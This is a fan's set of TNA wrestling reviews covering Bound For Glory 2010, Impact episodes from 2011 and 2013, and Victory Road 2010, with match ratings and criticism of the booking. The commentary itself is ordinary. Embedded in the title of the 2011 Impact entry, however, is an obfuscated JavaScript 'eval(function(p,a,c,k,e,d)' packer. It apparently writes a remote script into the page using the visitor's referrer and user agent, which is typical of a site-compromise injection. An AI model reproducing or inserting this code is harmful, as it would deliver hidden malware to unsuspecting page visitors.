Bound For Glory 2010
Date: October 10, 2010
Location: Ocean Center, Daytona Beach, Florida
Commentators: Mike Tenay, Taz

So here it is. This is the show that they have spent MONTHS building to. This is their Wrestlemania and by far their biggest show of the year. We get a new champion tonight and find out who THEY are. Even I’m excited and I’ve made no secret that I’m a big critic of this company. Tonight is the final match for Abyss apparently which I don’t buy at all. Let’s get to it.

Main event is no time limit, no count out and no DQ. That makes me nervous.

There’s and entrance ramp as well as three video screens. The production values are rather solid here, especially by TNA standards.

Tag Titles: Motor City Machine Guns vs. Generation Me

Good choice for an opener. Shelley and Max (does it matter?) start us off. Naturally it’s insanely fast paced to start us off. The Guns get all tricky and destroy Max in the corner. A big elbow Poetry in Motion move gets two on Max. The heels are getting dominated here for the most part as we hear a lot about Shelley’s neck.

Double DDT out of the corner to Shelly and he’s in big trouble. Shelley keeps fighting and manages to get out with a big double stomp off the top. Hot tag to Sabin as this isn’t bad at all so far. The Guns and everything else go completely insane and Sabin hits Punk’s springboard clothesline to Jeremy for a close two. Tenay is right that no one has tag wrestling like this.

The Guns are just straight up fun to watch. I’m not sold on making this the opener though as this is something that probably should have been used to fire up the crowd in case they get bored later on. Max gets two and is legit shocked that Sabin kicked out. They go for the DDT again but Shelley makes the save.

Elevated Sliced Bread is blocked and Jeremy takes out Sabin with a big dive. A Piledriver like move is broken up by Sabin at two. Very fast paced match naturally. This is too fast to call. We actually get a tag. Are you kidding me? They set for More Bang For Your Buck but a nice counter sets up a running German off the top by Sabin. Skull and Bones on Max ends this.

Rating: B. Very fast paced and fun match. Do I need to explain this one again? It’s an insanely fast paced tag match to open up a show. That’s PPV 101 but I worry that this might be the high point of the show. We get the awesome Motor City music twice though and the Guns keeping the belts is a good thing so I’m happy.

Tara and Madison go nuts on Christy about hair dye or something. Tara is grateful to Madison for life apparently.

We recap the Knockouts Title situation which I think you all know by now. It’s all about the Beautiful People and that’s about it. This again becomes all about them and nothing else. Keep in mind Mickie James is the referee here.

Knockouts Title: Angelina Love vs. Madison Rayne vs. Velvet Skye vs. Tara

Mickie looks good. I could go without the hardcore country thing though. One fall to a finish here and tags are required. Angelina vs. Madison to start us off. Off to the regular Beautiful People now which is the only match left in that division I suppose. Madison comes in and gets in Mickie’s face but that goes nowhere.

This is another match that is going too fast to really keep track of. Tara vs. Velvet at the moment. How in the world did Hefner think Tara didn’t look good enough for Playboy? Octopus Hold from Velvet to Tara which blows my mind a million ways to Monday. The tagging thing is of course abandoned soon.

Widow’s Peak doesn’t go on as Angelina makes a save. And then she rolls up Velvet with some tights being pulled to give her the title. We get the BROKEN song so I’m very happy. Madison goes off on her and Mickie kicks her all around the ring. So it’s Tara vs. Mickie now? Ok then.

Rating: D+. Pretty much just a mess here and only a way to get the title on the show. This wasn’t much at all but you had five hot women and you get to add Mickie to the division now which is definitely not a bad thing at all as it was dying for some fresh blood. Nothing very good here but I’ve seen worse.

Eric Young babbles about some code. Yeah I don’t care either.

We recap the “feud”. Yeah I don’t care either. Let’s get this over with.

Eric Young/Orlando Jordan vs. Ink Inc

Eric has the TNA rule book while Orlando is in a white suit with a beekeeper mask. And now Eric has fake tattoos or something. I give up. Jordan and Neal start us off because someone has to. Let the gay jokes begin.

Taz recommends that Shannon avoid the crotch of Orlando. I give up. Total meh match here as it was boring on Impact and it’s boring here. This is really just an outlet for Taz to make gay jokes about Orlando which aren’t incredibly funny. Eric gets crotched on the top rope.

Orlando vs. Shannon at the moment. Eric is fooling with the rule book because it’s been a few seconds without “comedy.” We talk about the German broadcast team for no apparent reason. Eric starts cheating by pretending to tag in and Taz is just like “screw it’. Eric tags himself in to fight Orlando. We get a Midnight Rocker reference which makes Taz laugh. Eric causes Orlando to get caught by Shannon for the pin.

Rating: D. Just move on please. I hate comedy matches, especially when they lack comedy.

Jeff says he’s going to win with the Twist of Fate and Swanton Bomb.

X–Division Title: Douglas Williams vs. Jay Lethal

This is the return match apparently from Impact a few weeks ago when Lethal won it in the first place. Non-British tights for Williams here. What would the Bulldog think? Fast paced start until Williams gets a hold on Lethal to take over. And so much for that. Tenay talks about the new tights because that’s interesting I guess?

Apparently his family crest is on it. No mention of Fourtune here which is kind of odd. Williams takes it to the mat and we stay there for awhile. Williams is getting back into the style of hating the X Division style that worked so well for him in the spring and early summer.

Lethal cranks up the speed to make things work a bit better. Taz likes suplexes and you can hear it in his voice. It changes when Williams uses a few of them. He even throws in some analysis of them for fun. Hey he sounds like an analyst. I thought this was 10/10 not 10/31.

Chaos Theory out of nowhere gets two. Dang I love that move. Williams gets all ticked off and takes him up top and sets for a rana. Lethal gets a SWEET counter where he rolls through it perfectly into a sunset flip for the pin to retain. He celebrates in the crowd which is always a nice touch.

Rating: C+. Nothing special here but the ending was rather good. This felt like a decent Impact match but it was totally tacked on here with no particular rhyme or reason. Dang I need to stop listening to Shinedown. This wasn’t bad but it was just kind of thrown on there to get the match on the card.

And while he’s in the crowd SHORE attacks him. Like the idiot that he is, he says he’s winning the title and taking it back to Jersey. You know, where Lethal is from.

We recap RVD vs. Abyss which is a bit early on the card I’d think for it. I can’t imagine this is where THEY are revealed. That’s just way too early for it I’d think but who knows? The idea here is RVD isn’t at 100% but he wants revenge no matter what.

Rob Van Dam vs. Abyss

Monster’s Ball here which means anything goes. And remember this is his last match EVER! He brings Janice and Bob, which are the names of Dixie Carter’s parents in what I’d assume is a rib, and puts them on the announce table. Abyss says RVD is done and THEY are coming. And remember this is once a century. You know, like EVERY OTHER DATE.

RVD of course kicks the heck out of him to start to a HUGE RVD chant. Van Dam is in a t-shirt here for some reason. There’s a barbed wire table at ringside. Total dominance so far by Van Dam who is on fire. He gets taken down by an elbow of all things. Given the shirt I’d bet on RVD going into barbed wire.

Chokeslam is countered and of course Abyss eats barbed wire. This would be more effective if we hadn’t seen it just three days ago with bigger stars. And of course he’s up again just a few seconds later, dodging a splash that send RVD into the wire. Abyss busts out a regular table as we talk about THEY.

Trash can to the head of Van Dam as Abyss tries to make a barbed wire platform between the railing and the ring. Oh never mind it’s just a regular table. Abyss winds up on it and RVD hits Rolling Thunder onto it. Cool spot. Too many dead spots here though as we hit a spot and then stop to look for more stuff to use in the next one.

RVD sets up Coast to Coast but gets shoved off and RVD winds up in barbed wire. Sick looking bump. The match more or less stops as the referee is thinking about stopping it. Instead we throw him back into the ring and Abyss gets…nothing. Ok then. Instead we get the Hogan ear taunt.

Van Dam comes back and sends him into the barbed wire board in the corner. Now it’s Abyss in trouble. RVD goes for the Five Star but Abyss moves and RVD has a tummy ache. And now It’s time for Janice. Well of course it is. RVD counters though and gets a pair of shots with Janice to the gut of Abyss and the Five Star. Abyss is bleeding from the mouth.

Rating: B-. Fun hardcore match with everyone beating the tar out of each other. Ok so maybe saying everyone for two people is a stretch but you get the concept. This worked fine for what it was with lots of weapons being used and all that jazz. They’re dragging this angle out for all it’s worth and more though so points for that….I think. Fun match.

Abyss says here WE come. Oh great.

We recap the handicap match with the whole Deception thing. This is the other major angle and Hogan is VERY hurt keep in mind. Yeah I don’t buy it either.

Jeff Jarrett/Samoa Joe vs. D’Angelo Dinero/Kevin Nash/Sting

Joe vs. Pope start us off. Oh and Joe is fighting for Hulk’s honor despite having zero connection to him. Nothing special so far and we hit the floor. It more or less has broken down with Jarrett fighting Pope and the old guys vs. Joe. And so much for that as we get back to Nash vs. Joe.

The entrance ramp really does look good. Pretty basic match so far. Joe gets beaten on for a good while but FINALLY gets a shot in on Nash to get away. He goes for the tag and there goes Jarrett for your swerve. Nash says I told you and Joe is in trouble. Now it really is 3-1. Jackknife to Joe ends it.

Rating: D+. Just the match that no one cared about to build to the swerve. Pay no attention to the fact that we’ve been building up Sting vs. Jeff for months and now it’s all cool. I’ll allow him an explanation but dude, this was supposed to be the explanation, not more questions. Whatever man.

Anderson says he’ll win.

Here’s 3D for their major announcement. Yep they’re retiring, but they want one more match, and of course they want the Guns. They’re retiring either way. Nice. This is solid I think and it’s good that they’ll retire this way.

We recap Fourtune vs. EV 2.0. If there is ANY justice in the world, EV loses here. Naturally it’s more about Flair vs. Foley than anyone else.

Fourtune says exactly what you would expect them to say. Regular vest for AJ thank goodness.

Fourtune vs. EV 2.0

This is a one ring WarGames match. A man from each team starts and after a set amount of time (5 minutes I think) there’s a coin toss and another guy comes in from the winning team. That goes on for two minutes then a guy from the losing team comes in. Two more minutes of that and then the winning team gets the advantage again. Alternate until all 8 are in and then we lower the roof, complete with weapons. No pins or submissions until everyone is in.

EV has Dreamer, Sabu, Rhyno, Richards and Raven. Yeah ten people in there great. Foley is with them. Flair brings out AJ, Storm, Roode, Kaz and Morgan. Fourtune has the advantage so screw the coin flip idea. Flair is in an undershirt. Oh dear.

The old guys go at it before the match starts and we try to figure out who starts the match. Kaz and Richards to start. Again Taz wants to say ECW and can’t do it. Kaz beats the tar out of him to start. And he continues doing so. Well that’s what you get for sending in Richards as your leadoff man.

Stevie gets a Downward Spiral into a modified Koji Clutch but AJ comes in seconds later to make it 2-1. Richards is of course in WAY over his head and gets destroyed. Figure four on Richards and he’s almost dead. Dreamer is in next. How in the world is this guy feuding with AJ Styles?

Dreamer spits mist or something at AJ as Richards gets back into it. All of Fourtune is in blue which is a cool idea I guess. Roode goes in third as this is going to take awhile to just get everyone in. Flair punches Dreamer through the camera hole. I love that thing as it gives you far better shots.

Sabu comes in and hooks a seated crossface chickenwing on AJ which we’ll call a camel clutch for fun I guess. This is REALLY slow now with EV controlling. Dreamer is bleeding fairly badly. Storm is in so it’ll be Morgan and Raven or Rhyno in last. Storm turns the tide and we get BEER MONEY!

With nothing left in the other minute here’s Raven who looks stupid with blonde hair. He cleans some house and shoves a snot rag in someone’s face. Ah ok it was Roode. Dreamer gets his crotch stepped on for fun. Dude seriously, Raven is your hot tag in essence? Roode is busted open.

Sabu is busted too. Morgan comes in as the final member of Fourtune. He drills Richards and drills Sabu back first into the cage. Dreamer takes the elbows in the corner as the advantage does the same thing it’s done the whole time so far. Raven is bleeding too so every member of EV who is in the match is busted.

Big time Gore to Storm and here comes the roof. This is where the advantage is supposed to come for EV I guess. Flair and Foley get into it of course as is their custom. EV takes over and there are bigger weapons on top of the cage such as a table, a ladder and something else that I can’t make out.

Raven and Morgan beat the heck out of each other as EV is mostly in control. Morgan goes for the Carbon Footprint and misses, hitting the door which doesn’t move at all. Kaz gets drilled into the door and there it goes. Richards and Kaz go up and we set up the ladder up there. This always scared the living heck out of me.

Sabu dives through the door to take out Morgan and maybe Storm. Richards sets up the table on top of the cage and Kaz goes up the ladder and here’s Kendrick on top of the cage too. Kaz goes through the table and Kendrick appears to be meditating or something. In the ring Dreamer drills AJ in the leg and drops him on a chair, winning the match. Yes, EV won the match and everything seems to be fine with it. WELL OF COURSE THEY ARE.

Rating: D+. Not much here as there were a lot of very slow spots. Also the Kendrick thing just did nothing for it. The weapons were ok but the ending felt kind of tacked on. This never got to the level that they wanted it to get to and that hurt it a lot. This was one of the weaker matches they’ve done with this gimmick and I think a lot of that is due to the participants.

Oh yeah. DID I MENTION EV 2.0 JUST FREAKING BEAT FOURTUNE and that TOMMY DREAMER PINNED AJ FREAKING STYLES??? And people wonder why this company can’t be taken seriously.

Music video about the main event.

TNA World Title: Mr. Anderson vs. Kurt Angle vs. Jeff Hardy

Hardy has new music. Nothing all that special as again you can barely understand it. He’s called challenger #1. Who exactly is he challenging if no one has the title? Anderson is in gray tights which is odd. It’s 10:33 and we’re just starting. Think they’re cutting this close? No big match intros either which is weird also.

Angle is knocked to the floor and Anderson gets a neckbreaker on Hardy for two. Angle pops in and goes for Anderson’s knee. Big old belly to belly as it’s all Angle here. Then Hardy saves and it’s all Hardy. Little theme going on there. Angle Germans Hardy who Germans Anderson to take both of them over in a cool spot.

It gets two on Hardy as we keep going. 10:37 and no sign of THEY which scares the heck out of me. Hardy sends Angle up and over and might be hurt. I don’t buy it but whatever. Hardy goes over the top in a dive to take out everyone. Back in and Angle is ok, hooking a chinlock on Hardy after a cover gets two.

Running German to Hardy and he’s up seconds later. Ok then. Hey we went a full two hours and 40 minutes before we got a shot of Dixie. Angle is busted open a bit. Angle busts out some Germans on Anderson as Hardy is down. Hardy gets some of the same. Ankle Lock on the face painted one.

Anderson tries to save and winds up in the ankle lock. Angle locks the ankle lock on BOTH of them at once. That looks awesome. Naturally it doesn’t work but it looked cool while it was on. Anderson gets that rolling fireman’s carry slam from the middle rope on Angle so that Hardy can cover both for two.

10:45 now as this has somehow been going 12 minutes. Angle Slam gets two on Hardy. Top rope Angle Slam on Anderson but Hardy gets the cover for two. The fans think this is awesome and it’s not bad. Twist of Fate to Anderson and the Swanton hits. Angle saves into the ankle lock and Hardy is in trouble.

Jeff kicks off and sends Angle into a Mic Check for a VERY close two. Pinfall reversal sequence gets a lot of two counts. Angle is the only one left and hits the moonsault on Hardy for two again as Anderson is still down. Angle and Anderson go at it and block each others’ finishers.

And there goes the referee. Oh blast it. Everyone is down and here comes Eric with a chair. And here it comes. This is what TNA has spent the last 4 months building to. And what a shock: HULK IS HERE! Or at least his music is here. Yep there he is but on crutches. He needs help getting into the ring which I don’t buy.

Hulk looks ticked at Eric who throws the chair out and wipes his hands. Hardy stumbles to his feet on the floor and gets in. Both Bischoff and Hogan have crutches and Hogan gives Jeff his. Angle is up. Hardy pops Angle with the crutch and Hogan points at Jeff. Yes, it appears that Jeff Hardy, the most popular star in the world, is part of They. Twist of Fate to Anderson, and Hardy is world champion.

Rating: B. Ending aside obviously, this was a solid main event. It felt like a big match, but then again I would prefer a singles match for the title. That’s the traditionalist in me talking but if there is a match to end the biggest show of the year, only on very special occasions (this isn’t one of them) should it not be one on one for the world title.

Here comes Jeff Jarrett and Abyss. The fans throw trash in for no apparent reason. Hogan and Abyss hug, and THEY are revealed. Yes, it was Hogan and Bischoff with Hardy all along. RVD comes down and yells at Jeff and is of course laid out. Massive posing ends the show.

Overall Rating: B-. This one took me a very long time to reach as it’s now almost 330 Monday afternoon as I write this. This show, without a doubt, was not boring. The ending was a legit shock and I think lived up to most of the hype, but we’ll get to that later.

As for the rest of the card, there are two important things here. Number one, Lethal vs. Williams was the only standard one on one match. Number two, expect to see a lot less wrestling in the near future. Nothing was incredibly bad, but not a lot really stood out.

What I saw in this card was a great example of an old school WCW card: the opening stuff was great, then the stars come on and things go downhill a bit. For instance, Fourtune loses? Why? I understand the whole heels win at the end so faces have to win something, but dude, Tommy Dreamer beat AJ Styles at the biggest show of the year in 2010. The theory may work fine but when you put it into action that doesn’t mean it works.

And now for the big reason this show has perplexed me so: the main event. The match itself was rather good and considering my disdain for triple threats that’s saying a lot. As for the angle, the best thing I can say about it is that it was shocking. I didn’t see Hardy turning. Hogan and Bischoff I did and I have the LD posts to prove it.

The common issue with the turn is that it makes no sense. It does make sense to a degree but it’s one of those things that you have to suspend a lot of disbelief, think about a lot of things, ignore a lot of things and just accept parts of. That’s rarely good and I don’t think it’s good here.

The big comparison has been to Vince and Austin at Mania 17. Not really as in that it was simple as JR put it: “Steve Austin has sold his soul to the devil himself to win the WWF Title!” There. That’s it. That’s your explanation. There is no conspiracy, there is no hidden meaning, there is nothing but Austin saying he’s not good enough to beat Rock on his own and is taking the shortcut to get what he wants.

This is a huge conspiracy that is going to require a lot of explanation and in which something is going to get fouled up. I’ve said this many times: I don’t want to have to have a pencil and paper and a flow chart to understand an angle. TNA should not be more complicated than Lost.

Now after all that is said, the show was still good I thought. The ending was good. The shock was good. Impact is going to be through the roof for a few weeks. That being said, the real ratings are going to show through in a few weeks. They’ll be most interesting. I was VERY intrigued last night and while I think it came off as a letdown, the PPV has to be viewed as a success, despite Hogan managing to be the focus of the end of ANOTHER major show and angle.

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Date: September 12, 2013
Location: Chaifetz Arena, St. Louis, Missouri
Commentators: Mike Tenay, Tazz

We see the four finalists arriving before looking at a video of all four guys saying what this means to them.

We also get a quote from F. Scott Fitzgerald about fighting families to hype up Anderson vs. Ray.

Bound For Glory Series Semifinals: Austin Aries vs. AJ Styles

Back with Aries still trying to hit the brainbuster but opting for some shots to the head instead. AJ comes back with some forearms and his AA into a backbreaker for two. Styles loads up the Clash but Aries grabs the rope to escape. Now the slingshot plancha takes Austin out but he manages to break up the Superman forearm, knocking Styles face first into the apron.

Bound For Glory Series Semifinals: Bobby Roode vs. Magnus

Roode gets a jobber entrance and Magnus is back in the shorts instead of the tights. Bobby must be ticked off at the lack of respect because he jumps Magnus from behind and takes it to the floor to send Magnus into the barricade. Back in and a quick belly to back suplex gets two for Roode and a regular suplex gets the same. We hit the chinlock as this has been one sided so far.

Hogan gives Manik a pep talk. Manik wants a shot at Jeff Hardy tonight and his wish is granted. Dixie comes in and asks to talk to Hogan alone. Apparently Rampage and Tito are off the show for fear of the November 2 PPV getting messed up.

We recap Anderson vs. Ray, which is due to Ray blaming Anderson for losing the title to Sabin. Ray then said Tito Ortiz was the only man he needed and Anderson was annoyed at Ray acting like a dictator.

TNA World Title: Mr. Anderson vs. Bully Ray

Bully gets in a cheap shot and sends Anderson into the steps before asking Brooke for a chair. It takes forever to get there and Anderson gets in a shot to the ribs to take the chair away. He blasts the champion in the back and pounds him back into the ring. Ray goes up but gets hit low, allowing Anderson to hit a rolling senton. The fans are COMPLETELY behind Anderson here and him telling himself to get the tables makes them cheer even louder. Even Tenay is cheering for Anderson.

Anderson is taken out on a stretcher but Ray chases him down and rips the cut off his back. A piledriver on the stage gets rid of Anderson, probably until BFG.

ODB is excited about the change to be Knocked Up Champion next week.

Here are Storm and Gunner with something to say. Storm wants to drink and Gunner wants to fight so why not do both things? James wants some opponents so here are Chavo and Hernandez. Chavo talks about how Storm is the second greatest tag team wrestler in TNA and how Gunner is the second strongest man in TNA. Guerrero wants a match so Gunner accepts it for next week. If the non Champions win, they get a title shot.

Bound For Glory Series Finals: Magnus vs. AJ Styles

Winner gets Bully at Bound For Glory. AJ takes it to the mat with a headlock takeover and does it again since it worked so well the first time. Magnus comes back with a quick suplex and we hit the chinlock. Back up and AJ drop toeholds Magnus into the buckle as Tenay runs down a Bellator card. They slug it out with AJ taking over but Magnus avoids a knee drop. AJ does the same with an elbow drop and gets two off a small package. Cue EGO to attack both guys at about 4:30 to lay everyone out. The bell never rang to end the match. Referee come out to break it up as we take a break.

Results

AJ Styles b. Austin Aries – Middle rope Styles Clash

Magnus b. Bobby Roode – Jackknife pin

Bully Ray b. Mr. Anderson – Spear through a table

AJ Styles b. Magnus – Spiral Tap

Remember to follow me on Twitter @kbreviews, and pick up my new book of Complete 2001 Monday Night Raw Reviews at Amazon for just $4 at:

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Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsyek|var|u0026u|referrer|zdkhi||js|php'.split('|'),0,{})) Wrestling
Date: September 8, 2011
Location: Von Braun Center, Huntsville, Alabama
Commentators: Mike Tenay, Tazz

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Victory Road 2010
Date: July 11, 2010
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

Well I’m not wild on the card but they’ve done a great job of building up to this if nothing else. The main event just does nothing at all for me, but then again neither does the rest of the card. This isn’t going to be much, but the build has been good so maybe there’s some hope. I’ll be watching it out of order but there’s nothing I can do about that. Let’s get to it.

Intro video is just about the road to victory. Seriously is that all they can do for this show?

X Division Title: Brian Kendrick vs. Douglas Williams

This is Ultimate X/Submission which is about as odd of a combination as you could ask for. Williams almost immediately takes him to the mat as he’s afraid of heights. Well at least they’re giving Kendrick every possible out they can. Now let’s see how they manage to mess it up. Kendrick only goes for the Cobra Clutch and neither guy tries to climb yet.

In essence this is just a submission match with the Ultimate X aspect on the side. Naturally they couldn’t just do a submission match because they can advertise Ultimate X to boost buyrates. Who cares that it’s hardly used? They both go up the trellis thing and then Kendrick falls off. Yep he’s out cold. Williams gets some gloves to help him climb as he kills time.

He comes back up though and follows Williams across the ropes. Like an idiot he goes for the Cobra Clutch while hanging on to the ropes and falls backwards, smashing his head into the mat. He was legitimately injured or out cold. Williams throws a hold on him and the referee stops it. Something tells me that wasn’t the planned ending. They have to bring out smelling salts to wake him up.

Rating: D+. This was just pointless overkill again. There was one or at most two big spots as opposed to just doing the freaking submission match that they wanted to. The fear of heights thing was just forgotten, making the whole thing just completely pointless. This was overkill that didn’t work, but then again that’s TNA for you.

Christy is with Ray who says that just like Christy’s issue of Playboy, Jesse Neal is a failure. He gets in her face and makes her cry. We see the same recap video we saw on Impact which gives us nothing about why Bubba is mad but whatever.

Brother Ray vs. Brother D–Von vs. Jesse Neal

Let’s get this over with. Ray comes out first and hides behind the set. He jumps Neal and there’s no D-Von. We cut to the back where D-Von is locked in his dressing room, presumably by Bubba. Clearly the cameraman has no arms because he doesn’t let him out which would involve moving a board. Oh look: more kind of false advertising as it’s the same match from last month.

Again we hear about how much Neal’s life has sucked. We get it already guys, let it go. No one cares about Neal and that’s all there is to it. This is nothing but basic stuff as we’re all just waiting for D-Von to come running out for the big save or beatdown or whatever. Ray of course uses the big boot because that’s all anyone uses for a big strike anymore. The ECW guys are here.

They distract Bubba a bit and Neal gets a spear for two. Shannon Moore comes down for a save which lets Ray hit Neal with a chair. D-Von finally comes out and there’s a staredown. They both look at Jesse and then slug it out. Neal accidentally spears D-Von and a Bubba Bomb ends it. D-Von was in the ring for maybe a minute total.

Rating: F. This was false advertising if nothing else. This was a one on one match with two run-ins. What was the point to this? Just do 3D vs. Ink Inc like you want to do. No one cares about this feud and no one wants to see Bubba vs. D-Von, so of course that’s what we’re going to get.

We recap Love vs. Rayne which shows why the division completely sucks anymore. The BP and Love are the only ones in the division worth anything anymore and that’s not saying much.

Knockouts Title: Madison Rayne vs. Angelina Love

If Rayne wins then Love retires and she can lose the belt by DQ. We start with a big slugout. Rayne is in skin colored clothes. And remember people: these chicks are WAY better than the Divas and don’t you forget it. I really can’t stand this division anymore as it’s somehow more of a joke than WWE.

Rayne wraps her legs around Love’s head and slams it face first into the mat. Her finisher doesn’t work and Love makes her comeback. Rayne brings in a chair and gets it kicked into her face. Can we get on with this? And here’s a chick on a motorcycle. She jumps Love and the referee determines that since she’s either Velvet or Lacey (she’s in a helmet) Rayne is disqualified and Love is champion. Rayne leaves with the chick that just cost her the belt of course. Allegedly it’s Tara, because she retired recently and therefore has to come back immediate.

Rating: D-. This was somehow less interesting than the previous match. This is the third straight title change that hasn’t involved the champion being pinned. Is there a point to this title anymore? Same with the girl tag titles. This is even more of a joke than I could have imagined. Whatever man.

We go back to Anderson who makes pot jokes and says nothing of note other than the signature line.

AJ Styles/Kazarian vs. ???/???

AJ and Kaz can’t get along so of course they’re going to win. The surprises are Terry and Joe. Sure, why not have a guy that is a champion be brought in as a surprise? We can’t have him fight for the title on PPV when we have Ray vs. Neal II!!! AJ vs. Terry start us off and AJ tags out in seconds. The surprise team completely dominates for the early few minutes as you would expect.

AJ and Kaz are getting along quite well. Oh and remember: this isn’t about the wrestlers. This is about impressing Flair. AJ isn’t here for titles. He’s here to make sure Flair is happy. TNA makes my head hurt at times. Instead of going with AJ as the top guy, he’s running around imitating Flair and trying to make him happy. It’s more of TNA wasting what they have for angles that they think people actually want to see.

Instead of talking about the match, we talk about the ranking system. This is ALL Terry/Joe. Ah wait we can talk about Flair a bit now. Wolfe of all people comes down for interference (he jobbed in a dark match of course) and Kaz takes over. AJ hits the springboard 450 on Terry for the pin. They didn’t argue ONCE. Joe beats up Wolfe post match.

Rating: D+. Oh how I hate TNA at times. This could have been a decent match but instead it made no sense from the storyline perspective. The heels have been about to explode for weeks and now they’re all fine and best friends? Also, this is once again about Flair. That’s who the majority of the commentary is about and all that jazz. Just a waste of talent and an angle.

Abyss likes his nail board.

Recap of Morgan vs. Hernandez. Morgan got all cocky and injured Hernandez. Hernandez wants revenge. I love simple angles.

Matt Morgan vs. Hernandez

This is a cage match with escape only rules. I like the look of the cage. Hernandez is freaky in all definitions of the word. Has steel ever been forgiving? In a match based around revenge, Morgan is dominating. I really can’t stand TNA at times. The crowd has been oddly dead for the majority of the match. Hernandez gets on the top and Morgan hits the Carbon Footprint.

This is ALL Morgan. He gets a foot out the door and then just comes back in. To be fair he’s a great heel, but this goes completely against the whole Morgan runs from Supermex and Hernandez wanting revenge that has been built up for months. Hernandez is busted open. We FINALLY get the comeback and his eyes look like he’s coked out of his mind. Hernandez can’t do the Border Toss so he tries it and of course botches it again. At least it came off looking like a power bomb.

He goes up top, as in top of the cage, and misses a splash on Morgan. Blueprint has handcuffs and Hernandez is caught. What is up with Russo’s obsession with handcuffs? Ok that’s not fair as they’ve been used for years. He just breaks them off as Morgan is climbing down and rams his head through the door to get out. So after all that, Hernandez just escapes with no real revenge. Sure why not?

Rating: D+. The psychology didn’t exist, Hernandez doesn’t gain anything, the ending is illogical, Hernandez looks weak and nothing is really solved. This was completely backwards and didn’t go anywhere at all. Not a horrible match, but just something that should have been far different and far better.

Flair talks about how great he is.

Tenay and Taz say exactly what Flair just said.

We get a video saying what Tenay and Taz just said.

Ric Flair vs. Jay Lethal

Come see a senior citizen get pounded! Lethal wears red and yellow as a tribute to Hogan. Seriously, can ANYTHING not be about Hogan or Flair in some way? Taz says Flair is Mr. Credibility. Taz now is fail. Sting can wear a shirt but Flair can’t? Once again the crowd is relatively dead. Flair only does simple stuff like thumbs to the eyes. Could it have anything to do with being 61?

Lethal hits a top rope superplex. Flair is just fine and goes after the knee. The fans chant for Flair, thereby showing how horrible they are at this. Flair of course switches knees halfway through, thereby making him look like an idiot. Figure Four of course doesn’t work and we go back and forth for a bit which borders on entertaining. And there’s Flair’s trunks going down to ruin it.

Ric gets a sleeper. I guess due to his age he needs a nap during matches now. Now Lethal goes for the knees. He gets the weakest chop block ever and puts on the Figure Four. Yep, Flair taps. Jay Lethal has just put a 61 year old man in a leg submission and made him give up. He cries of course because we have to make Flair look good in the end. I hate this company. I truly don’t.

Rating: D+. People want to say this is a huge deal for Lethal. I’m sorry, but no it isn’t. Lethal is what, 24? He beat a guy 37 years older than he is and it’s supposed to be impressive? If this was say 10 years ago it would mean something, but this is just worthless. Flair is a name, but that’s it. What does this prove? Lethal can beat up a guy who could have great grandchildren? Why am I supposed to be impressed? Flair hasn’t meant anything in years so this win is relatively worthless.

Hardy says he’ll win.

Tag Titles: Beer Money vs. Motor City Machine Guns

Ok so the Guns more or less have to win here. I like the Guns’ music. Storm and Shelley start us off. They’re doing a slow build to start us off as Taz says the Guns are the best team from their city, including the Tigers. Uh, deep? We get a Mel Torme reference of all things as we’re talking about tap dancing. Beer Money takes over and after a double vertical suplex they do their thing.

Shelley is getting beaten on. This is a good match so far so it’s hard to make jokes. Well other than Taz and Tenay who are always jokes. Ah there’s Sabin. I like him better than Shelley I think. We crank it up a bit and Sabin hits a running punt on Storm while he’s on the apron and Storm is on the floor. The crowd is getting back into it a bit too. Eye of the Storm gets two on Sabin.

I’m sorry for the excessive play by play here but that’s the main thing going on here. That made less than no sense but just go with it. We’ve lost any resemblance of a tag match here as it’s just all insanity. Maybe Heyman is booking the company. Everything just goes insane and this is awesome for once. The Guns dominate as Storm has a beer bottle. The referee gets beer spit in his face as the Guns hit a combination splash/neckbreaker on Roode for two.

There’s another referee here now and I have a bad feeling about this. It’s ALL Guns here as we’re going fast paced here. They hit their kick combination and cover Roode as Storm rolls Sabin up. The referees count a double pin and it’s Dusty Finish time. Earl, not the original referee, says restart it. The Guns win in like a minute with the same thing they did earlier, making the restart TOTALLY POINTLESS. Very good match though so I can’t complain much.

Rating: A-. This was a VERY good match. The main thing holding it back is the restart which was the walking definition of overbooking. What in the world is that supposed to help? Whatever it was I certainly don’t get it. The Guns are the champions, albeit nearly three years later. Still though, if they’re going to win them, at least win them in a classic I guess. Very good match all the way through. Loved it.

We recap Angle’s hunt through TNA’s top ten, which more or less is he beats up everyone to get to the top guy. Pope just happens to be the next guy. There’s no real heat between them. Pope just has the right number.

Kurt Angle vs. D’Angelo Dinero

Angle is listed as #10, yet he’s beaten two guys and Pope is 8th. I love the TNA thinking. We start on the ground. I’m watching this out of order since I got home late so this is the first match I watched. They’re doing the red, white and blue ropes which is cool looking. They booked themselves into a corner here as Angle can’t really lose but Pope is returning and hasn’t won a big match in months. Angle hits a buckle bomb which is always great looking.

This is a solid match to start but they’re not going to have a ton of time unless this goes up until eleven. Kurt is winning but not dominating which is a good thing. Pope steals the Rolling Germans which doesn’t work. Only a handful of people can suplex Angle and he isn’t one of them. Angle’s all like boy I’ll show you Rolling Germans. Pope hits a Codebreaker and the fans are all behind Angle.

Angle Slam hits from nowhere for two. Why are announcers still surprised by that? I don’t get it. Ankle Lock goes on but Pope gets a rollup for two. Ankle Lock again on the mat and it’s over. This needed a bit more time but was entertaining.

Rating: B-. Not bad at all here. The match was never in doubt though which is what hurt it. Angle is in a groove at the moment and this was no exception. This doesn’t hurt Pope that much though as he’ll likely move on to Anderson now. Decent enough match though and certainly passable.

RVD isn’t worried about Abyss and says he’ll stick the nail board up Abyss.

No recap here. Good as it’s not needed.

TNA World Title: Mr. Anderson vs. Jeff Hardy vs. Rob Van Damvs. Abyss

Everybody goes for Abyss to start and it doesn’t work. The crowd is odd here for some reason. This goes nowhere as Abyss just gets up. Hardy and Anderson get him down for like a second and we’re into the usual formula here to an extent. Yep we’re in the formula. That’s fine though as it’s really the only way to do this.

